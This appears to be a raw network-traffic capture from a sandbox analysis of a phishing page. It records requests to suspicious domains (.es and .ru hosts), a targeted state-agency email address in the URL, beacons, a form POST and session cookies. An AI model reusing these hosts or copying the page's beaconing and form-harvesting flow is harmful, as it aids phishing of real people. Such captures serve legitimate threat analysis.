Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-26 21:42:51 UTC	1303	IN	Data Raw: 66 39 35 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 61 6c 74 6f 6e 20 73 65 61 20 6c 69 74 68 69 75 6d 20 64 65 70 6f 73 69 74 22 2c 22 70 6f 6b c3 a9 6d 6f 6e 20 74 63 67 20 70 6f 63 6b 65 74 20 73 68 69 6e 69 6e 67 20 72 65 76 65 6c 72 79 22 2c 22 78 61 76 69 65 72 20 72 65 73 74 72 65 70 6f 20 34 30 20 79 61 72 64 20 64 61 73 68 22 2c 22 6e 69 6e 74 65 6e 64 6f 20 73 77 69 74 63 68 20 32 20 67 61 6d 65 73 22 2c 22 77 68 65 6e 20 69 73 20 65 69 64 20 61 6c 20 66 69 74 72 20 32 30 32 35 20 73 61 75 64 69 20 61 72 61 62 69 61 22 2c 22 61 61 6c 69 79 61 68 20 63 68 61 76 65 7a 20 62 61 73 6b 65 74 62 61 6c 6c 20 70 6c 61 79 65 72 22 2c 22 64 65 77 65 79 20 6d 61 6c 63 6f 6c 6d 20 69 6e 20 74 68 65 20 6d 69 64 64 6c 65 22 2c 22 6d 6f 72 74 67 61 67 65 20 69 Data Ascii: f95)]}'["",["salton sea lithium deposit","pokmon tcg pocket shining revelry","xavier restrepo 40 yard dash","nintendo switch 2 games","when is eid al fitr 2025 saudi arabia","aaliyah chavez basketball player","dewey malcolm in the middle","mortgage i
2025-03-26 21:42:51 UTC	1303	IN	Data Raw: 4b 61 7a 5a 4a 61 6a 4a 79 55 55 4e 36 62 6c 4e 76 52 6e 6c 36 53 46 6c 45 4d 58 64 79 53 47 6b 76 54 47 35 75 4e 45 31 57 55 6b 70 4a 59 6a 49 78 55 6c 49 7a 51 69 39 75 52 6c 68 70 56 48 6f 31 55 54 42 55 54 56 56 58 57 6a 46 52 4d 6c 42 4e 57 48 56 53 4f 47 56 58 54 44 68 70 4f 45 70 61 53 6b 68 46 53 32 6c 68 62 31 6c 51 52 55 35 55 63 58 4a 72 5a 30 68 76 5a 6c 68 46 64 57 38 78 55 55 68 7a 4d 56 52 43 63 47 64 6a 65 55 70 36 56 44 46 56 5a 46 4a 48 53 6b 6c 77 55 33 6c 75 63 6e 5a 6e 63 45 5a 56 5a 7a 64 6e 4f 58 49 30 61 6d 35 72 59 31 56 48 57 45 70 4f 62 44 68 4c 4e 6a 45 77 4e 6d 30 32 54 32 68 32 64 6a 64 33 55 6d 68 50 4d 56 70 4d 52 32 51 77 55 6d 64 55 4d 58 5a 35 4b 32 56 4e 4d 43 74 30 57 53 74 51 61 57 56 4c 55 48 5a 54 4e 57 52 4c 4e 58 Data Ascii: KazZJajJyUUN6blNvRnl6SFlEMXdySGkvTG5uNE1WUkpJYjIxUlIzQi9uRlhpVHo1UTBUTVVXWjFRMlBNWHVSOGVXTDhpOEpaSkhFS2lhb1lQRU5UcXJrZ0hvZlhFdW8xUUhzMVRCcGdjeUp6VDFVZFJHSklwU3lucnZncEZVZzdnOXI0am5rY1VHWEpObDhLNjEwNm02T2h2djd3UmhPMVpMR2QwUmdUMXZ5K2VNMCt0WStQaWVLUHZTNWRLNX
2025-03-26 21:42:51 UTC	1303	IN	Data Raw: 68 48 54 33 63 78 5a 57 39 31 55 44 6c 4c 52 32 35 73 53 57 52 44 4d 57 64 54 62 48 70 6f 54 6b 59 35 61 46 42 76 53 44 46 4b 52 47 4d 7a 4e 6d 4a 58 4c 32 5a 45 53 30 46 54 56 6d 52 52 61 58 68 4a 57 6c 70 48 52 32 74 4a 62 33 56 6c 62 55 46 7a 65 58 6b 72 64 58 6b 79 52 6c 52 59 55 6b 64 4a 55 31 4e 4e 52 6b 70 6b 55 31 4e 69 5a 47 70 6d 63 44 45 35 54 55 6f 30 62 57 67 78 52 54 56 54 63 55 6c 47 54 46 4d 31 63 6a 51 79 63 6b 74 54 62 6c 56 4b 62 45 56 42 61 45 49 72 4d 44 42 4e 52 55 74 48 4b 33 63 79 63 30 52 35 4f 57 56 59 54 47 5a 69 54 56 5a 30 5a 6d 31 69 56 57 4e 58 59 6d 4e 50 57 6b 6c 4b 56 30 31 6e 55 6a 4e 6a 65 44 49 7a 53 54 59 33 61 6e 41 33 64 6d 78 6f 61 46 68 4b 55 46 5a 61 5a 46 51 77 63 45 35 71 51 55 78 43 4d 6b 59 33 61 54 6c 34 64 Data Ascii: hHT3cxZW91UDlLR25sSWRDMWdTbHpoTkY5aFBvSDFKRGMzNmJXL2ZES0FTVmRRaXhJWlpHR2tJb3VlbUFzeXkrdXkyRlRYUkdJU1NNRkpkU1NiZGpmcDE5TUo0bWgxRTVTcUlGTFM1cjQycktTblVKbEVBaEIrMDBNRUtHK3cyc0R5OWVYTGZiTVZ0Zm1iVWNXYmNPWklKV01nUjNjeDIzSTY3anA3dmxoaFhKUFZaZFQwcE5qQUxCMkY3aTl4d
2025-03-26 21:42:51 UTC	87	IN	Data Raw: 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: gle:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","ENTITY","QUERY"]}]
2025-03-26 21:42:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:51 UTC	641	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://nvgy.zonqdkqezktw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:42:51 UTC	740	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:42:51 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=MZMFVhWiLxLuv8IhtJ81o7GECIEkhynngF2jyWsdRlA-1743025371-1.0.1.1-G90On_Zl3GxkNYGBf0Jtlq.M6s1TRJfkztDqe.DpId5fJ0xWMn3gAmNsbKWoJFgDziAKZXEpO3U7y2wS3AXfm7niKTCNgcNawSCYas_X1NM; path=/; expires=Wed, 26-Mar-25 22:12:51 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 9269d1faac470f83-EWR alt-svc: h3=":443"; ma=86400
2025-03-26 21:42:51 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-26 21:42:51 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:51 UTC	588	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=MZMFVhWiLxLuv8IhtJ81o7GECIEkhynngF2jyWsdRlA-1743025371-1.0.1.1-G90On_Zl3GxkNYGBf0Jtlq.M6s1TRJfkztDqe.DpId5fJ0xWMn3gAmNsbKWoJFgDziAKZXEpO3U7y2wS3AXfm7niKTCNgcNawSCYas_X1NM
2025-03-26 21:42:52 UTC	435	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:42:52 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 9269d1feafcbaa39-EWR alt-svc: h3=":443"; ma=86400
2025-03-26 21:42:52 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-26 21:42:52 UTC	3	IN	Data Raw: 42 60 82 Data Ascii: B`

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:56 UTC	572	OUT	GET /kella@mxj5dlh HTTP/1.1 Host: fli5.nmpjkg.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://nvgy.zonqdkqezktw.es Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://nvgy.zonqdkqezktw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:42:57 UTC	830	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:42:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uCSiBXL7Ao%2BtNrSfZVJXRhxqI0x2bjKg05b40AZMJ3ueS2%2F7Bc%2BHRFEBRYvUprajDnXsay8Yg%2Bc05sufzwYrZE8d%2FYxIMchh7iqQdpV2ld1YeiBz%2FB7M9XzjEQpJVIqOGA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9269d21b8ae788c3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89834&min_rtt=89805&rtt_var=18989&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1144&delivery_rate=34001&cwnd=252&unsent_bytes=0&cid=18703d887182d4bf&ts=814&x=0"
2025-03-26 21:42:57 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-26 21:42:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:57 UTC	1455	OUT	POST /kmd85iTTqfc1CQuXoYGPqfBqk8XP6c HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive Content-Length: 774 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymoH1ErXAxONKPZsA sec-ch-ua-mobile: ?0 Accept: / Origin: https://nvgy.zonqdkqezktw.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://nvgy.zonqdkqezktw.es/8VVgl7/$anina@arts.state.tx.us Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImtDUDRIK2RiSklnaXYrMzlERVQ3cEE9PSIsInZhbHVlIjoiV2RWMVp2UitoRzJaWm1UODRMblZPTlM2L21NY1FDRWpwNEFmMGlNWWEzMlltQng4R3BVWkZGbytUZkhvcnBCUHNYRnVZcW9PR2JRUzZub3RKUWhMWmNtaHA4bWt6cnVqVkZSWkVJcWJPLzBVMm9VRjJMTk9WU3FsRzFQNDBCZWIiLCJtYWMiOiJjMGU0MjFkM2MwNTQ1NDFkOGJkMjUyY2QzYmU0YzdjN2JkOWE5ZjgxNmViMzI5NmQ0M2RlOTk3NmYxYmNkNGNiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Iml6K3dMUHJhSGNZWjZQa3RpcjdRS0E9PSIsInZhbHVlIjoiTTY1b1QxMzdxOFdhL0s5eVpaeUFITGdLSC9KN1NOK0duVDJ1R2haM0E1SnNPdXFqa09ETi9zWldFa2dBaUhWdzQ1eUVUR3ZXeUNqSkxaWHlQb3NjWnBteEVvVEdnNUVad0FSMWxPQ0N3Ri9LcHZWQjVLd3llbUFNQjBrVW1LcmMiLCJtYWMiOiI5NmM5MmFlNjZlNWIwODNiODE2NDQyYWEzNGVkMDZmZTQ5OWI4ZWYyODYxYjgzMDIzNjY0NjRjODQzZjc0ODIyIiwidGFnIjoiIn0%3D
2025-03-26 21:42:57 UTC	774	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6d 6f 48 31 45 72 58 41 78 4f 4e 4b 50 5a 73 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 31 35 44 49 46 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6d 6f 48 31 45 72 58 41 78 4f 4e 4b 50 5a 73 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 39 53 6a 62 75 71 62 32 62 4f 4b 4b 47 67 73 6b 31 6f 47 61 41 71 4c 65 73 55 4d 41 34 43 63 68 43 32 7a 6d 68 45 7a 4a 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 6d 6f 48 31 Data Ascii: ------WebKitFormBoundarymoH1ErXAxONKPZsAContent-Disposition: form-data; name="bltpg"15DIF------WebKitFormBoundarymoH1ErXAxONKPZsAContent-Disposition: form-data; name="sid"9Sjbuqb2bOKKGgsk1oGaAqLesUMA4CchC2zmhEzJ------WebKitFormBoundarymoH1
2025-03-26 21:42:57 UTC	1193	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:42:57 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z05fn7SlI2XAsahl0GL4W3G%2F3zICxFt6A3hU%2B%2F9kOBGqal1VnJyi3Ngu8%2B55n%2FGpldaXQOsRzH5w%2BIXZMYb8yD979s62skhMLZE2438EfaG3xdUcP%2BpwO6I9a8gamUcsnk%2FO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=18677&min_rtt=18664&rtt_var=5274&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=3146&delivery_rate=215818&cwnd=252&unsent_bytes=0&cid=465a9ed9a997a657&ts=189&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjBRb0hEejNrTkRkK0RmbGVib1lOTUE9PSIsInZhbHVlIjoiQnlSQ1ZrbGV2alR0azExa2ZuZGMramtMV3lMbHJaZXZRdVBlU0s5NkdZNUVuRVlTbzdaRm9peFBtcEltQ1JRTFdCNUhmZkZONUR1TzBWTWwrNVlhMVBlcWYwOUNpL2w4QlM2WEZPOEQvbkJHcGVtR1BISFBTUFhDWTRPeGM5c0giLCJtYWMiOiJlNjUyYTM4M2YxYzUwYWIyZDM3YjQzMGVlYjBhM2NjODZiZWFjYjZiNzkxMTk3MTMyYTRmOGQ4ZDAxNmE2NmYzIiwidGFnIjoiIn0%3D; expires=Wed, 26-Mar-2025 23:42:57 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 21:42:57 UTC	789	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 45 72 54 58 41 7a 62 57 74 6c 54 45 56 34 62 43 39 77 64 48 63 33 57 6d 64 4a 51 31 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4e 55 78 4e 63 45 4a 33 59 30 73 32 61 58 45 77 64 57 74 49 61 55 35 4e 4e 46 52 74 61 6d 63 76 4b 33 52 53 53 56 6b 79 62 57 70 52 61 54 6c 55 61 47 56 33 4e 31 4e 79 53 57 46 56 5a 46 70 54 4e 54 5a 45 63 79 39 6b 57 6b 70 53 4e 6d 5a 6e 63 6e 4a 46 4e 30 51 30 63 32 6c 75 4f 44 4a 61 64 30 4e 35 64 46 59 30 4d 45 39 34 4e 30 4e 50 65 6a 49 32 52 45 49 31 57 55 63 77 56 32 45 31 56 48 70 6c 5a 6a 5a 6c 64 54 52 5a 57 54 56 34 65 53 39 34 4e 32 46 57 64 48 56 42 53 33 42 4f 4f 54 64 43 57 54 68 61 52 79 73 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjErTXAzbWtlTEV4bC9wdHc3WmdJQ1E9PSIsInZhbHVlIjoiNUxNcEJ3Y0s2aXEwdWtIaU5NNFRtamcvK3RSSVkybWpRaTlUaGV3N1NySWFVZFpTNTZEcy9kWkpSNmZncnJFN0Q0c2luODJad0N5dFY0ME94N0NPejI2REI1WUcwV2E1VHplZjZldTRZWTV4eS94N2FWdHVBS3BOOTdCWThaRys
2025-03-26 21:42:57 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-26 21:42:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:57 UTC	391	OUT	GET /kella@mxj5dlh HTTP/1.1 Host: fli5.nmpjkg.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:42:58 UTC	823	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:42:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TOAY0d3P44qK9QArUROdJh7rmbaqpSllJTQ73t8PMLu5leLKA%2BcFKMPx79KVQFJqv4vARv25qXUcd%2BrYn9lN3gkKFp64gciSI69sS7q8BPlIKOWPDTz5EhcPWG0t2Z%2FAGg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9269d2225ea74b06-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89286&min_rtt=89220&rtt_var=18848&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2819&recv_bytes=963&delivery_rate=34238&cwnd=252&unsent_bytes=0&cid=d6dd38131a42d640&ts=835&x=0"
2025-03-26 21:42:58 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-26 21:42:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:42:57 UTC	1506	OUT	GET /8VVgl7/$anina@arts.state.tx.us HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://nvgy.zonqdkqezktw.es/8VVgl7/$anina@arts.state.tx.us Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjBRb0hEejNrTkRkK0RmbGVib1lOTUE9PSIsInZhbHVlIjoiQnlSQ1ZrbGV2alR0azExa2ZuZGMramtMV3lMbHJaZXZRdVBlU0s5NkdZNUVuRVlTbzdaRm9peFBtcEltQ1JRTFdCNUhmZkZONUR1TzBWTWwrNVlhMVBlcWYwOUNpL2w4QlM2WEZPOEQvbkJHcGVtR1BISFBTUFhDWTRPeGM5c0giLCJtYWMiOiJlNjUyYTM4M2YxYzUwYWIyZDM3YjQzMGVlYjBhM2NjODZiZWFjYjZiNzkxMTk3MTMyYTRmOGQ4ZDAxNmE2NmYzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjErTXAzbWtlTEV4bC9wdHc3WmdJQ1E9PSIsInZhbHVlIjoiNUxNcEJ3Y0s2aXEwdWtIaU5NNFRtamcvK3RSSVkybWpRaTlUaGV3N1NySWFVZFpTNTZEcy9kWkpSNmZncnJFN0Q0c2luODJad0N5dFY0ME94N0NPejI2REI1WUcwV2E1VHplZjZldTRZWTV4eS94N2FWdHVBS3BOOTdCWThaRysiLCJtYWMiOiIxZTdiYjdkYzU2Mjg4M2I0ZjUyMTE3MjBlY2E3NjA1MmIwZGM3NTM4NjgxZDA3N2VhMTQwMDNjNzBlMTQ3Nzg1IiwidGFnIjoiIn0%3D
2025-03-26 21:42:58 UTC	1212	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:42:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IvXKnAD8htykdz7Te99%2BNm8U5vlijN5OmjCMK14cBa5e0D03jWMWNnlV0JDjDTjnWIPTsMhiCT%2B07ttd9Fod5xcpO0PIo2ejkKayfP6drbBKC0LFJDpeoczYmaSEpcKknN4y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=16366&min_rtt=16295&rtt_var=4629&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2415&delivery_rate=246495&cwnd=251&unsent_bytes=0&cid=82f6bd3e6f99f6ad&ts=199&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Imd3ejg4WEJWaGFQTlg4YThKZHFsRVE9PSIsInZhbHVlIjoiMVFVcSthTUZNb2VVRU56ODBuMWJoa01YOGRNeW5iYkZJVURySzJEbCtrZnZ6T0w5b3IzS254R2RnVFV5Z2VGYlI4b2VzaEd4SGNvUTM3bHZJNVNQRlBYTDRzRDI4aXhMeVhNbmN5ME5vRHYyMFd0aVZtcHN0M3hDM3J0clFDTzUiLCJtYWMiOiJiYjYzZDM5Y2E5OGYwY2YxNWEzMzNmODE5NTAyYTkyNTRmNzViMDI1MzMyOWIzMDIzNjg0OGY3NWY3MWVkMGU0IiwidGFnIjoiIn0%3D; expires=Wed, 26-Mar-2025 23:42:58 GMT; Max-Age=7200; path=/; secure; samesite=none
